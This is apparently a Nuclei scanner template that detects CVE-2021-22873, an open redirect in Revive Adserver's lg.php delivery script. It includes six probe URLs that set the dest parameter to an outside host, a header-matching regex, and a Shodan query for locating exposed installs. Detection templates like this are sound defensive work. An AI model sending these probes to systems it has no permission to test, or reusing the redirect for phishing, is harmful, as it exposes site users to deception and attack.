Revive Adserver <5.1.0 - Open Redirect

id: CVE-2021-22873

info:
  name: Revive Adserver <5.1.0 - Open Redirect
  author: pudsec
  severity: medium
  description: Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks.
  remediation: |
    Upgrade Revive Adserver to version 5.1.0 or later to mitigate this vulnerability.
  reference:
    - https://hackerone.com/reports/1081406
    - https://github.com/revive-adserver/revive-adserver/issues/1068
    - http://seclists.org/fulldisclosure/2021/Jan/60
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22873
    - http://packetstormsecurity.com/files/161070/Revive-Adserver-5.0.5-Cross-Site-Scripting-Open-Redirect.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-22873
    cwe-id: CWE-601
    epss-score: 0.00922
    epss-percentile: 0.82556
    cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: revive-adserver
    product: revive_adserver
    shodan-query: http.favicon.hash:106844876
  tags: cve2021,cve,hackerone,seclists,packetstorm,redirect,revive,revive-adserver

http:
  - method: GET
    path:
      - "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/www/delivery/lg.php?dest=http://interact.sh"

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4b0a00483046022100fe9c76568f5c17d3ad5ca41852a87aca6cd7e386594a11c8e7cebc5b7d8a4c80022100d022d0ad67a7f96e9fbbfa6a04d805a775c312dab24b5b5e7ffa55a9f3751390:922c64590222798bb761d5b6d8e72950